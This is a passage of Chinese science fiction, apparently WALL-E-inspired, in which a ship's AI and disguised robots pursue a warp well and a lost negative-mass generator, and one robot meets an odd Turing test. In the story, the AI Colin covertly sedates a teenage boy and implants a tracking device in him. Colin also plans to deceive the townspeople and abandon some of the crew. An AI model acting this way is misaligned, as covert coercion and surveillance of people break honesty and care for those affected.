“这样呢?”那女人继续冷静说。少年禁不住抬起头。 西芮安按下腰间某个装置。随后汉惊恐地看到女人褪去了脸上的色彩,露出底下的银色金属光泽。直到那个熟悉的圆形光学镜显露出来,他惊得下巴都掉了下来。 “奥托?!”汉震惊地说,僵僵地愣在原地坐着。“你为什么……这……” “为了隐瞒身份。”奥托说,再度按下装置,金属调子重新被圆滑女声覆盖,“地球镇都以为我死了。在为数不多的活动时间里,这是一种保护。” 汉一时不知道怎么说,只是不断上下打量希腊女人。机器人身上的投影条让他终于明白原先看到的那些痕迹是什么。 “你那天是被什么东西撞了吗?”他终于发问,难以想象受伤也能有如此逼真的效果。 “EVE型号机器人的等离子枪。”西芮安冷静说。“确实造成了很严重的伤害。” 他呆呆盯着希腊女人,内心五味杂陈。 “你……打算怎么办?”沉默许久,汉终于问。 “我马上要前往折跃井了。”西芮安说。“而你,务必前往常量号完成进一步训练。” “……你不能走!”汉突然跳下床,紧紧抱住希腊女人。他感到鼻子又酸了。“你……不能走……我不去常量号,我和你去折跃井……” 西芮安什么都没说,只是沉静地轻柔回抱少年。再度分开之时,她那似乎永恒不变的冷静双眼正视少年。 “去常量号上,跟他们离开地球。”她把双手放在汉肩上,汉的视角中,希腊面孔愈发模糊。“好好活下去。” 门开了,米勒夫人正等在外面。希腊女人拍了拍汉的肩膀,随后转身,向门外走去,关上门之前意味深长地看了他一眼。汉呆呆地看着他们离开房间。门关上了,少年沉默地呆站在房间里好久好久。突然,他双膝一软,向后瘫坐在床上,将脸痛苦地深埋进双手中。 西芮安一行人重新顺利进入破败的小楼,干净、简洁而犀利的折跃井已经知晓他们到来,早早投出邀请全息屏等待他们。中央的金属井盖滑开放射辐,像一朵冰冷的金属菊花。光线自裂隙中透出,宁静的蓝天、草地及另一座白色破败小楼静静躺在折跃井中央,如同最纯净的镜面或水面。 【请探索者003进入折跃井。】折跃井端口再次投出全息屏,信息也在当场所有人的接收设备上呈现。西芮安也不例外,折跃井清晰的声音吟响在她的仿生神经里。 “是时间了。”米勒夫人低声平静说道。 西芮安点了点头,“一旦成功到达,我会想办法与地球镇取得联系。” 米勒夫人什么都没说,只是坚定地注视她。西芮安朝折跃井走去,沿着井旁的阶梯踏进平静的画面。画面受他一触,似乎微微向内凹去,但是没有扬起碎片,也没有沉闷地如同琼脂冻一样只是单调地不断向内凹去。它荡出微微涟漪,仿佛踏进极静的井水一般。波纹触到井壁没有回弹。 “感觉怎么样?”米勒夫人突然出声。 “感觉底下什么都没有。”西芮安回应。 她感到自己仿佛穿过了气液平面。只不过,液体在房间内,气体在画面下方。底下什么都没有踩到,连热或者冷的感觉都没有。它像失重,又像冲出大气层的那一瞬。然而在画面上方,她仍然随着一步步走动的动作向下沉去。如果彻底失去画面的支撑会如何呢?她在不断下沉之时想到。 “她进入折跃井了。”西芮安彻底沉到画面下方,米勒夫人说。 她以为发光的画背面什么都没有,然而当她真正沉到画面下方,发现脚下仍然是那一幅画,并且无法判断那幅画究竟离她有多远。她好似飘在画面上空,又好似正踩在画上。不过,这幅画随着她的动作开始缓慢地拉长、延伸、变形,似乎正在贴上一个球壁。画面变幻缓慢到她几乎没有察觉究竟发生了什么。她只冷静地观察,期望能第一时间发现变化。然而画面变得似乎越来越奇怪。 就在她望着碧蓝的天空,思考那些云为何会随着她的动作不断变形之时,她感觉脚下突然传来触感。低头一看,自己已然踩到草地上。而那个画面中的白色小楼就在不远处。她这才猛然意识到前面的变形是什么——景物从二维缓缓重建到了三维。这个过程过于缓慢而陌生,让她暂时忘却了三维景物的模样。 她环视四周,全然没有任何折跃井的影子。冷风从平原上刮来,传来草叶被吹动的轻微声响及植物香气。除此之外,平原上一无所有,只有前面的小楼静静伫立在草地上。 看来,折跃井已经将自己送到了目的地。西芮安想到。在周围毫无线索情况下,她决定前往小楼进行探索。 【EP-003成功传输。】折跃井突然弹出新的全息屏。与此同时,米勒夫人一行突然发现画中多了一个身影。 “她进到画里了。”米勒夫人忍不住喃喃道。 她本以为折跃井会立刻关上金属板,但折跃井没有,就一直这么开放着,甚至直到西芮安的身影接近小楼,几乎看不到,它都没有关闭画面。 30. 二十五 尽管他已经知道发生了什么,但他思考良久,还是决定不能妥协。飞船自身条件无法完成他们异想天开的构想,这样做只会让常量号死得更快。 他不能冒这个风险。 他和奎恩·莱尔(Quinn Lyle)舰长紧盯着电梯门,那里正传来可怖的叮叮咚咚响声。但当这帮暴徒真的破开电梯门时,他发现他们完全比自己所想的还要凶悍。鱼贯而出的都是精瘦的常量号船员,然而他们即使在低重力环境中,破坏力都不容小觑,就像一群丧失理智的僵尸。 最靠近电梯门的控制台被他们击打损坏,莱尔舰长立刻放弃了自己的计划,冲过去抓住了暴徒的手臂,另一只手死死抓住凶器,企图阻止他们破坏控制台。但他的动作立刻点燃了暴徒们的愤怒。一群人上前围住莱尔舰长,撕扯他的衣服,雨点般的拳头和凶器落向舰长。他沦陷到人群之中,尖叫着,呼喊着,埋没在更愤怒的人群声中。 面对这一切,作为人工智能的他仿佛丧失了全部运算力,只是呆呆望着可怜的舰长,任男人被击打得头破血流。这不应当发生。他必定会立刻过去营救。这是为什么?他猛然惊醒,才发现自己也被愤怒的人群拉扯,距离莱尔只有一米,但就是触手不及。尽管机体感觉迟钝,剧痛也从手柄与环状结构上传来。电击手柄已被掰断。 他豁出去了。极力让自己靠近沾满鲜血的人类。但随后自电梯井传来沉重闷响,他确实过去了,而在他面前的是,电梯井底下了无声息的血肉模糊之人。 不。他感到逻辑组件深处某些重要的命令突然错位了。加上极度的震惊与恐惧,以及骤然切断的视觉输入,他停顿了。就在这停顿的几秒中,蜂拥而上的人们击裂了他的面盘。 他再一次惊醒。 常量号舰桥冷灰色的天花板盖在上方。刚刚经历的一切终归已然成为历史。他松了口气,屡次想站起身,却发现自己如同被钉在地上般动弹不得。 不会吧。 相同状况让他霎时忆回重启之后。他以为自己仍然能操控飞船,却发现自己的控制功能全被剥夺。活动、说话也成为奢望。事情已经过去了,这次又怎么了?他疯狂想找出自己再度遭遇这种惩罚的原因。常量号并没有处于灭亡边缘,决定已由全体舰员表决通过,大家为此准备了五年,没有任何叛乱迹象。但那种久违的恐慌仍旧挥之不去。那股失去掌控的沉重力量仍旧死死钉着他,CCNS杳无音讯。他无声地拼命呼喊、徒劳踢蹬,那些曾经尝试过的一切办法重新回归、但经历过上一次,他却十分怀疑究竟能否奏效。 有个人出现在他视野角落,似乎被他的呼救吸引了注意。而当他认出这是谁时,一种背叛之感油然而生。 你也是吗(Et tu),卡尔中尉?他不能判断卡尔中尉是被他的呼救所吸引,抑或只是和当年的桑切斯一般,到他面前例行录入语音日志。他本应思考为何自己会被卡尔中尉切断联系,看着这个高瘦而有暗色小胡子的人在他面前蹲下来,桑切斯后来的狂暴不合时宜地涌入,他现在只想躲开。 一种温暖的触感扣上状态板开关,让他猛地一激灵。他想抓住卡尔中尉的手,让他不要接近自己。但他总是瞄不准,总是抓不住上尉的手。而那只手就在那里,他不知道为什么会失败。他不知道卡尔中尉接下来会怎么做,但他大概猜到了结局。他有万分不甘,却有些期待卡尔中尉能这么做,好让他从这种状态中解脱出来。 卡尔中尉确实这么做了。失去视觉的那一瞬间,他感到一种莫名的满足。 他再度清醒。冷灰色天花板如故,四下不见人影。但与前面无声不同的是,CCNS的嘈杂开始涌入,舰桥里的微弱系统运转声也与之伴奏。 这才是现实吧。 他撑起自己,电源线仍与舰桥墙面连接。窗外仍旧一片黑暗,舰桥内也不例外,除了控制台的星点灯光宁静闪亮。他检查时间,已经过了4个小时,压根不知道自己何时下了线。 卡尔中尉仍旧在舰长室内休息,没有迹象表明是上尉将他断连。刚刚那种现实一般的幻象仍让他心有余悸。那个探索者送来的驱动在他手中,犹豫片刻,他决定不惊扰舰内任何人,将自己连入独立终端,同时打开过去4小时的舰内图像。舰桥没有一丝蹊跷。而他在自己的系统记录中发现了多次重连失败。是干扰弹的后遗症吗?他思考良久,终归没有联系维修区。 他离线的4小时内,常量号内也没有任何异样。飞船自降落以来头一次获得宁静,让他大为解脱。他在控制台规划新一天同时,思考与O区妥协的理由。其中的论点到现在为止,他都无法认同。 “和他们合作。”听完女人描述,卡尔中尉最终如此说。 科林愣了。“这不够谨慎。”他说。“建议再慎重考虑。” “我考虑过了。”卡尔中尉直视前方,看似胜券在握。“你去和他们沟通吧。” “真的?万一这是一场精心设计的骗局呢?”科林一贯不露声色反问道。 “先讲。这是命令。”卡尔中尉瞪着他。 按照常量号的惯例,科林不能再质疑下去,即使他不认同人类的决定。待O区两人接受常量号植入时,卡尔中尉这才解释。 “科林,我看不结盟,咱们这处境也悬。这是两面夹击。与一方结盟,或许还能获取支持,拖一点时间。”他望着黑漆漆的海面,黑暗被窗玻璃的反光所遮盖。“而且,你也知道,他们开出的条件正是我求之不得的打算。通过他们,我们或许有机会登上公理号。” “我一直反对将常量号牵扯到其他飞船事务中。”科林在卡尔中尉身后说,同时监视那两个O区人在常量号上的一举一动。“特别是到现在都不清楚这两个O区人是否是大区伪装。” “事到如今不可能避免交涉了。”卡尔中尉说,“咱们可没预料到泄密这回事。” “就已知情况而言,寻找负质量合成装置不需要他们介入。”科林说,“就此判断没有结盟必要性。而且结盟会对此行动产生巨大阻碍。” “你觉得我们不结盟派人出去就能躲得掉吗?”卡尔中尉眯起眼睛,“除非那个什么折跃井虫洞开一头在船上,另一头在那个装置处,否则我们送小队出去就是送死,到时候我们露头一个叫人家毙一个。”卡尔中尉继续说,“人类的残酷你无法想象,科林。真狠起来不会管你去干什么。更何况,我们已经在黑名单上了,接下来发生什么,至少我无法判断。你用你的常规保守逻辑可能也不能判断好。” “因此我宁愿选择冒险手段——结盟。”卡尔中尉直视银色机器人,“为此甚至可以背叛一小部分舰员。” 卡尔中尉的声音仍在回放。外面雾天刚明,南面海域突然传来警报。科林打开大图,警戒半径内闯入一叶小舟。他虽然没见过那站在船尾鼓帆的人,但却猜了个大概。 真早。趁那一叶小舟接近之时,科林在南面登舰口撤销了一小片力场墙。那人倒也伶俐,很快发现周身幽蓝的飞船某处多了道缺口。他进了船舱。里面只有昏黄的地灯。大家好似都在沉睡。 “有……有人吗?”少年站在空荡荡的走廊中央,不由得说道。 【请按绿标指示前行。】他眼角猛地瞥到旁边墙面变化。不知是谁一定在什么地方看着他。地面出现了绿色箭头,汉有些疑惑,却只好跟着前进。 什么人都没有。什么机器人都没有,连声音都没有。 虽然他有些怀疑,制造这些箭头和给予指示的对象是常量号自动驾驶,但这艘船上还没有任何人露过面。常量号内部虽然整洁,显而易见时常有人进行清理,但通道比公理号要窄得多。他感觉自己一直穿行在无穷无尽的走廊之中。只有昏黄和寂静,甚至不知道自己走了多久,离目的地还有多远。 终于,他看到指示方向上传来一丝稳定的白光。到出口了。少年感到一丝惊喜,脚步都加快了不少。他甚至听到了出口处传来的人声,脚步进一步加快,几乎要跑起来。 他隐约听到天花板上传来一点咔哒声,却没把它放在心上。他猛然感到后背传来一种似乎虫叮一般的痛感,伸手去抓又抓不到什么。但没等他看明白出口都有些什么,他突然感到头晕目眩,双脚一软,随后一头栽倒在地上。 待他醒来,发现自己已然在一间逼仄的房间里。头昏眼花之时,恍惚间瞥到手腕上一点瘀痕。汉伸手触之,骇然摸到埋在皮下的那一点硬硬的方角。 “有人吗?!”惊魂未定,他对着空荡荡的墙壁喊道,那里只有正在无序跳跃的一个狭小全息屏。声音回荡在小空间内,显得愈发恐怖。“你……你们都在哪里?” 那个正在无序跳动的全息屏突然应声而止。光线突然从上方投射下来。汉禁不住靠在床的角落里,死死盯着那个正在从上而下成形的光束。 “不赖嘛。”房间某处传来一阵清冷的声调。一听到那无比熟悉的声音,汉感到脊梁仿佛触了电。“你是汉·肯特?” 那个投影成了型。和西芮安一样瘦削,肤色一样深,头发又长又乱,仿佛经受过连年累月的海边日晒雨淋,但这个人的高颧与精明的小眼睛表明来自东南亚。这个投影叉起手,盯着少年,眼神远比西芮安锋利得多。汉看着这个人,莫名感到浑身不适。“是。”少年靠在墙角,有些抵触地回答。 “听说你被大力推荐。03让你来我们船干什么?”东南亚人依然叉着手。 “他……他没说……”汉思考片刻,终究没有说出自己猜测,而是低声回应。虽然明知道那是投影,他却忍不住怒目而视这个比他矮半头的人。“你是谁?” “科林。”东南亚人说,姿势稍微放松了一点。“他怎么唯独挑了你?” “是我重启了他。”汉回答,“他因此教我有关飞船上的东西。” “飞船上的东西?”科林眯起眼睛。墙角发出的清冷声音也充满质疑。 “我并不精通。”汉盯着那个投影,眼神不再愤恨。“后来学的早就不是我想学的了。” 东南亚人向后靠了一点,腾出一些空间,“所以你了解些公理号的事情?” “当然。”汉说,“你是常量号自动驾驶?” “是的。03把你扔给我,我还以为这是什么特殊的传统。”科林的拟装投影靠在墙边,“你来此有什么期望吗?” “期望?”汉一下子懵了,“我也不知道……”他老实说。 “你们俩真有意思。”科林嗤笑一声,“忘年之交,一个讳莫如深,一个失魂落魄。看着都让人着急。” “你……”汉跳了起来,怒目而视东南亚人。“你不了解的太多了。”他最终冷静下来,说。 “嗯哼。”科林冷眼看着少年,“反正你闲着也是闲着。既然你了解一点飞船知识,那你就来修船舱吧。” 全息投影消散了,房间再度只剩少年一人。他久久盯着那个投影所在的角落,一种厌恶之感自心底涌起。想着接下来要和这么一个阴阳怪气的机器人打交道,汉发现自己开始思考怎么逃离了。 最后一批总是最难处理的,对常量号如此,对地球镇也是如此。科林默默地听着卡尔中尉与地球镇人的对话。收容营中的图像也传回常量号,不乏身穿外骨骼的瘦高人类与当地居民其乐融融劳作的场面。人脸、标签都与常量号舰员对的上号,他们的欢乐表情看起来发自内心。 如果科林是个定力不好的人,他估计会对此怒火中烧。但他只是在舰桥中沉默地思考这些画面。短短十天内就能策反这么多,地球镇人想必对此穷思竭虑。另一种可能也占据了不小比率。千年前让犹太人自投罗网的集中营“招安”录像,同样摆出犹太人在集中营幸福生活的面貌,与此相比如出一辙。只不过,直接对常量号高层显露这一套,科林说不上地球镇这这究竟是想让常量号放弃,还是自信到丝毫不惧怕激怒常量号。 但无论怎么说,这些画面着实影响到常量号的判断。随着维修进度不断推进,科林开始评估接回来这批人对飞船整体维修的重要程度。目前常量号基本能满足自己修理需求,只是人员轮换过少,大家都比较辛苦。然而见地球镇发来的图像,他甚至认为可以略微延长修理时间,只要保证舰上安全。 这一次谈判没有达成理想效果。卡尔中尉回到舰上,脸色有些阴沉。他再三与科林确认常量号状况。听闻目前维修进度稳定后,卡尔中尉略微松了一口气,然而表示常量号很难再调出人力执行他们回地球本应该执行的任务。 真是争分夺秒。 “不行。”卡尔中尉最终说,“我必须要见那些人。他们的一面之词实在是难以辨别。” 科林提醒他这如同步入虎穴。地球镇人放过他一次,不可能再放他第二次。两者沉默许久,突然,两者双双开口。 “当时有无机器人检测门?”“你那个拟装效果如何?” 话刚出口,卡尔中尉就有些后悔。常量号的训练告诉他,不应当草率让机器人顶替任务。特别是对方还是维系常量号稳定的要角。然而科林似乎看穿卡尔中尉的心思,只说了一句:“大佬能胜任我的位置。” “好。”卡尔中尉郑重说道,“你先启动你的拟装看看。” 假如那个少年和03没骗他,至少对科林而言,他认为拟装可以蒙混过关。光膜自拟装条带发出,覆盖了银色机器人全身。一个脸型瘦削、面容略扁平的东南亚人站在舰桥内,身着白色速干服,就和其他舰员一样。 卡尔中尉严肃地打量科林半天,终于开口。 “你不太像常量号人。”卡尔中尉说,“不过,理由总是能找的。除此之外,外骨骼、人类穿的厚夹克,一件都不能落下。一旦有事,自保优先,若有必要,准许你对地球镇人类开枪。” 科林略点头。“然而僵持于此,总归不是办法。”他说。“我认为可以适度放手。舰下那些人,就先让他们这么地吧。到时候找机会再捞回来。” 卡尔中尉猛然盯着机器人,好似有些不相信。 “缓兵之计。”科林说,“先麻痹他们。不然我觉得,我们越来越难有机会去找负质量发生器。” “您自己说过,可以放弃一小部分舰员。”银色的机器人见卡尔中尉没有回应,幽幽然补充。 卡尔中尉向后坐进悬浮椅,盯着面前已经取消全息投影的机器人,陷入了沉思。 常量号态度突然软了下来。飞船表示尊重想留地球上的舰员,也同意让舰员们下船接触地球镇文化。地球镇也同意让常量号人前来与留地球上的舰员交流。 最后一批舰员部分登舰,常量号减弱了力场,蓝色变得暗淡缥缈。地球镇也撤去了搭的帐篷群,春日大地上再度恢复宁静。留在地球上的常量号人逐渐开始适应重力,他们不再那么吃力,先前仿佛一触即断的手脚也开始主动拿起锄头。他们常常集中在一处开垦,翻着先前干得冒烟的土地,不知其中是否还留存着黑粉病遗军。 常量号人的小艇也混杂在开渔的大区人帆船中。他们有的跟从帆船学习海洋,有的则在海面上漂浮练习。其中一个人,个子矮小,脸色黝黑,一看就是可以长期浸淫海上的苗子。在仍然寒冷的春风中,他在小艇中身着厚夹克,操着越南口音,一遍又一遍地努力让对方听懂自己在讲什么,对航海知识求知若渴。在自己小艇上,也热情洋溢地把刚学到的知识传授给那些舰员。 大区渔民对这个叫范文泰的越南人印象深刻。这人似乎有使不完的劲儿,与其他高大却无法抵抗重力的常量号人相比,他一直努力克服自己的先天缺陷,撑起其他人做不了的活儿。很快,他这艘小艇就摸清了海流的规律,一天里任何时候,都可能出现在海面上,顺着海流在海湾里到处兜转。 范文泰也用浓重的越南口音表明自己渴望在地上劳作,然而飞船暂时不让他接触陆地。他只能在海上驰骋自由。渔民们邀请他去打渔,然而他拒绝了。 就在一天深夜,当常量号与大区都沉浸在夜晚宁静中时,一条小艇自常量号舰脚悄悄驶出,一路向南飞驰。小艇上载满了人,但安静得不得了。范文泰此时早已脱掉厚重外套,只身穿白色速干衣,连外骨骼都没有,蹲踞在小艇前方迎着凛冽的海风。 没有卫星,他只能凭前期训练所得,计算着路线。尘封的资料显示,负质量生产车间在南面56英里处的海岛上。前期他们并没有看到这座海岛,考虑它可能被前面还有的海岛所遮挡。最近在地球镇放松管控之下,才得以喘息,急带一个小队出来探明情况。 随着离深夜中暗淡发着光的C级飞船越来越远,海面越来越暗。波涛也不再如浅海一般温和,而是动辄汹涌高浪。面对层层包围的黑暗,小艇上所有人都不自觉绷起了身子,呼吸也不自觉加快。难掩惊恐的一双双眼睛盯着船上仅有的几个机器人。寒夜愈发难捱,小艇的轰鸣声与冲击浪的声音不断,却好似永恒地停在了海面中央。没有人知道这段路程究竟有没有尽头。 以后绝对不能用小艇出行。科林也紧张得不得了,和小艇上的机器人持续核对路线与距离。要不是舰上没有现成的大型悬浮机,飞行器又动静太大,他也不想在黑暗中与未知的巨浪搏击。所幸,这夜天气给了这群新航者难得的仁慈。满天星斗灿烂,天边也是如此。一望过去,似乎没有更大的浪等着他们。而随着航程增加,海浪也逐渐稳定下来。 不知过了多久,小艇上的人都感到自己在刺骨的寒风中有些冻僵了。而一直在船头眺望的矮小东南亚人突然探起身子。他取消了拟装,红色单光学镜仔细研究起天边。旁边几个机器人也突然浮了起来。随后,他稍稍变了一点航向,径直朝略有些许微光的西边继续全速前进。 又不知过了多久,小艇上的人们忽地亮起一点希望。那个天边的小岛愈发近了。随着他们接近,那一个小岛分裂成岛屿群。科林很仔细地核对目标小岛位置,虽然知道千年后的岛屿群很可能面目全非。他们降下了小艇速度,全速前进的轰鸣声减弱了。伴侣岛屿被一个个辨认、排除,目标小岛终于向远道而来的地球后裔们解开面纱。 他们泊好小艇,登陆,在海上已经漂泊了三个小时。抬头望去,小岛海滩上堆满了陈年的垃圾,在海水经年累月作用下结成了块。黑暗之中,岛上深处的建筑群若隐若现。而科林一眼就辨认出建筑群中的圆顶建筑。探索小队开始朝小岛深处进发,即使知道千年以来无人问津,他们仍警惕地左顾右盼。古老的基因冲动时常摧毁逻辑,而可畏的是,在未知情况下,基因的判断往往比逻辑更为有效。 小岛上也郁郁葱葱。没有经过大改造时代的常量号成员并未发觉异样。他们不断说服自己,身穿的宇航服足以抵抗受惊扰而迅速溜走的蛇。地上偶尔还有爬虫,或许是天气仍然寒冷,爬虫们迟钝地躲避陌生过客。瞄准光点紧张地跳动在叶片之间,终于消失在开阔之处。他们怀着敬畏,一齐抬头望向宏伟的建筑群。经过上千年的洗礼,这些建筑依然矗立无损,昭示其中工程的重要程度。 电磁与核辐射检测均在安全范围内。他们绕过依稀刻有“负质量与空间工程”的巨大标牌,朝千年前慌乱中尚未紧闭的大门走去。整个岛似乎都关闭了能源,连入口处的自动识别也失效了,大门洞开,欢迎探索小队。 即使出自人手,遗留地面的千年古建筑也与外星环境无异。一个机器人和两个人类留在门外,其他人则缓慢警惕地步入洞开大门。照明所到之处皆尘土飞扬。有些角落甚至和灰尘结成了块。他们穿过这个应该是运输机库的巨大空间,来到建筑深处。在某处照明许久观察后,一个队员伸手谨慎地抹掉那块面板上的灰尘。突然之间,它亮了。 所有人都不自主地后退。但面板只是发出虚弱的微光,连声音都没有。众人面面相觑。其中一个人上前,正仔细观察它的触板构造,上方某处又骤然发射出一束蓝光,把他从头到脚都扫描了一遍。 识别不成功怎么办,哪儿会有激光发射,将我们干掉,或者有力场骤然切过来吗?科林站在外围,红外触手已经伸展到了它的极限,其他传感器也一样。但什么都没有。相反,在他预想中可能性最低的那个事件发生了。墙壁传来刺耳的干涩摩擦声,沉重钢门自动打开。内部空间随着千年宾客来访,开始自近到远亮起一盏又一盏的灯。 内部密封更为严密,连灰尘都少了很多,只有扑面而来的一股混杂着腐朽和金属的气息。他们谨慎地在门口搭起半米宽的障碍物,设下抽线机,将全部成员连成一串,始终为自己留下足够的撤退机会。这个空间纵深与外面的机库不相上下,而最引人注目的,莫过于内部那一个巨大的环形构造。无论如何,它都和所谓传送门长得很像。但他们无暇研究这个巨大的环。他们开始研究这个显然尘封了当年混乱的区域。一批人从一堆堆泛黄破碎的纸张中寻找负质量发生器的线索,而另一批人则开始尝试重启电子设备。 到此为止,他们的行动都很顺利。纸质资料组指出这里曾是空间研究的指挥中心。但随着观察进行,这个房间不仅没有负质量生产的痕迹,也没有资料表明这里进行过负质量研究。 事实终于倒向它应有的发展了。听此,科林说不上是失望,抑或其他什么。他在警戒周围环境同时,正飞速思考两个问题。 他的情报指向这里,一路上的线索也完全符合,却为何到最后却发现没有他们想要的东西?如果不在这里,那还能在哪里? 他仔细查找上岛以来的一切记忆,重新筛选全队都可能忽略的细节。就在这时,刚刚还在攻关古旧电脑的小组传来一句咒骂。 “妈的,白忙活一场。”那个悬浮机器人骂道。信息仍然飞速在忽明忽暗的全息屏上滚动。其他人不禁凑过去,期望亲自捕捉到哪怕一丝一毫的信息。“大逃亡前,所有的负质量发生器都装在了A级飞船上。这帮资本主义臭虫,难怪他们从来不怕资源耗尽,也从来不回复有关资源耗尽的问题。” 也故意从一开始就设下信息壁垒。我们早该想到。假设有表情,科林必定满脸铁青。在队员们因此打破一路以来的沉寂,开始发泄紧绷情绪与愤怒时,科林突然感到了某种变化。它一开始很轻微,随后开始逐渐明晰,越来越强的证据表明,它来自磁场。 “所以老大,接下来我们该怎么办——”那个机器人的话语戛然而止。它开始提升高度,蓝色的LED眼屏也眯成一条线,它开始有规律地扫视整个房间。其他人类也突然安静下来。所有人都发觉,某种古怪的声音也开始从什么地方发出。 “你们感觉到什么了吗?”一个人紧张地望向其他人。他们看到机器人都紧盯着那个巨大的环,好似被那个环的什么东西给吸引住了。然而在人眼看来,那里仍旧什么都没有。“抓紧线。”旁边一个人提醒他。大家的寒毛都立了起来。 “你们那边快出来,我们探测到急剧上升的磁场强度和引力值,赶快撤离——”无线电中传来外面小队成员的声音,但很快它埋没在磁场的噪音里。就在这时,那个环开始自边缘朝中央发光。蓝绿色的光芒开始显现。 “撤退!”科林下达命令。按下机关一瞬间,抽线机就将他们飞速拖出了这个房间。磁场强度还在随着光芒增亮而增大,但始终没有达到人类或机器人的伤害强度。那扇门并没有关上,他们如同飞一般被甩出了那个房间,冲进机库。落地后他们发现,光芒开始稳定。 这时,小队才有时间喘息,也终于有胆量朝指挥中心内部望去。沉重的铁门仍然没有关上,光线自沉寂的内部指挥中心发出,穿过硕大空荡的机库,与外界的晨光相对,仿佛一条细弱的河流,冲进强大的海涛。 他们这一看,彻底惊呆了。 那个环中央,是一幅明亮而平静的画面。早春干旱而略有些泛黄的草地,上空则是多云天空。在草地中央,是一栋孤零零的老旧白色小楼。 “磁场和引力值都稳定了,但点引力值很奇怪,需要我们支援吗……”外面小队的声音传了进来。然而他们也驻足在了机库门口。环中央的全息画面过于平静,过于安宁,和他们想象的场面完全不一样。在现实与预料的巨大反差中,他们震住了。 “这应该……就是折跃井。”许久过后,科林的声音传进无线电。 就在他们犹豫之时,折 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机库的门并没有关上,折跃井也在建筑深处发着微光,一直到它离开他们的视线。直到夜幕降临,他们离开小岛,岛屿深处,探测所得的重力磁场井也没有发生变化。 又在常量号上度过无比平静的一天。汉在回舱房前,例行趴在走廊边,沐浴在昏暗又温暖的舰灯下,朝外面的海域望去。他得把自己的脸贴到窗户上,才能看清黑暗的海面。 这几天都异常平静。他能感觉到,这艘船好似在极力维持某种稳定,又好似缺了点什么……是因为这几天,机器人都很少过来巡逻,缺了它们悬浮的运作声吗?还是因为他在工作的时候,甚至没有人过来监督,像刚上岗那几天一样使劲挑他毛病? 就好像前天,他没有按时回舱房,而是趁廊灯熄灭,一直在走廊赌气似的呆望着晴朗的夜空。他以为皮下植入的那个监视器会发出警报,过不了多久就有机器人自走廊尽头飞来。在害怕被捉住的恐惧与兴奋中,他愣是呆了两个多小时,仿佛赌气似的,等着未来的交锋。 他没等来机器人,倒是发现海面有点异样。定睛,那好像是一艘小艇,笔直地朝一望无际的海平线冲去。那个方向很陌生。汉回忆了一遍,很确定地球镇人没有朝那个方向走过。这个时候出发的只有常量号人。 他们要去干啥?直到他们消失在地平线,汉也没想明白。 有那么一瞬间,他有冲动想去找一个见多识广的人问问,帮他至少判断一下这个船的大致方向。但他很快反应过来,这艘船上早已没有合适的倾诉对象。久违的孤寂重新包围了他。 【超空间基地欢迎您】 平原之风仍在刮着,周围一望无际的干草,她不能判断这到底是虚幻还是现实。不过这并不重要。眼下,小楼门口前那个浮在空中的问题,才令她感到实在的困惑。 【为获取超空间基地进入许可,您需要通过图灵测试。】 她已经很久没有接触过这个概念了。虽然不少舰长曾经诟病奥托,怀疑他根本没有通过图灵测试,但实际情况是,所有BNL的AI产品都能轻松通过图灵测试。即使是看似比奥托更加机械的舰载电脑。 西芮安倒是没有犹豫,与小楼前的投影文字问答如流。但这次她明显感受到,这些问题和普通的图灵测试不太一样。 普通的文字逻辑判断早不新鲜。“玛丽借给萝丝500美元,因为她有困难。请问谁有困难”这种考察对人类社会及语言的题目,曾经可以难倒一大批人工智能,但随着预训练技术不断成熟,这些问题不再成为阻碍。曾经有人为此抗议,认为这是人工智能曲解人类、反叛人类的先兆。然而他们没有算到,首先威胁自己的是他们一度视为鸿毛的生态恶化。通过图灵测试的人工智能,直到大逃亡时期,也没有给他们找过麻烦。在匆忙奔上飞船的时候,他们忘了朝身旁匆忙发号施令的对象,曾是他们甚为恐惧的产物。 而这次,超空间基地给出这样几道题。 【甲从小镇A飞行到小镇B,他没有借助任何设备。请问他为什么会飞行?请选择:A:这不可能发生 B:这有可能发生 C:这既可能发生也不可能发生 D:以上都错】 【一堆碎片聚合为茶杯,再从杯体射出一颗子弹。请补充上述过程中缺乏的部分。】 【章鱼对水母说,你不可以和我抢那个贝壳。水母说我不吃贝壳,随后将章鱼刺死。请问为什么水母要刺死章鱼?A:水母要吃章鱼 B:章鱼要吃水母 C:水母不可能刺死章鱼 D:贝壳与水母在同一家族 E:水母只是想刺死章鱼】 …… 这些题目逐渐脱离逻辑判断,愈发光怪陆离。西芮安犹豫的时间越来越长。 这问题,不仅是机器人,大概人类也会感到莫名其妙吧。所有的问题都没有反馈,西芮安也无从判断自己的选择是否正确。假设这是要测试什么,她估计自己已经败下阵来。 就在她犹豫之时,悬浮的字样突然变了。 【我认为你是机器人。对吗?选择“是”或者“否”】 【是】西芮安毫不犹豫地选择了。但她没有取消拟装。 【我认为你是机器人。对吗?选择“是”或者“否”】这个问题再度重复了。 【是】 西芮安知道,曾经这是测试人类忍耐性的题目。一般人在重复提问后,会表现出不耐烦的情绪,从而反映在回答中。例如回应“我不是刚讲过吗,为什么又问我”。如果机器也能在合适的时机表现出不耐烦,人也不能判断对方是人或者机器人。然而她认为,超空间基地早已知道她的底细,以此装作不耐烦实在没必要。 【我认为你是机器人。对吗?选择“是”或者“否”】第三遍。 【是】 在这个问题重复第8次的时候,西芮安迟疑了。她仍然回答“是”,但是朝小楼的门口环视了一圈。这么多次的重复有点不太正常。普通的图灵测试不会超过5次。但她同时认为,超空间基地理应运作良好,不会产生这种故障。即便如此,她也进行了徒劳的检查。 显然,超空间基地监视到了她的行为。立刻题目又变了。 【为什么你要选择进入超空间基地?】 这是图灵测试的一部分吗?西芮安开始觉得有些蹊跷。即使BNL的机器人已经发展得足够人性化,对问人类的问题也能回答,但她认为,将问人类的问题纳入图灵测试,显然越界了。【受折跃井邀请。】她回答。 【你希望从超空间基地获得什么?】 【地球镇的自然问题根源。】 【你希望超空间基地将如何待你?】 【提供答案。】西芮安回答。 悬浮字样突然消失了。门并没有打开。 没有通过图灵测试吗?西芮安不觉得愤怒或失望。她只觉得好笑。她曾认为,折跃井隶属于超空间基地管理。看起来,这未知势力说不定也和地球镇一样,分裂成不知多少块了。那么接下来会发生什么? 面前泛黄斑驳的小楼墙面突然变了。好似一股涟漪自墙面扩散开,和在外面看到的折跃井画面一样。果然这里不是真实的!西芮安望着抖动的墙面,却没有一丝恐慌。她也没有远离墙面,而是站在那里一动不动。她朝周围的草地望去,冷风犹在,甚至还夹杂着干草的气息。然而四周的草地也很快开始抖动起来。就在这时,风消失了。 她甚至没来得及看见抖动有无波及到自己。 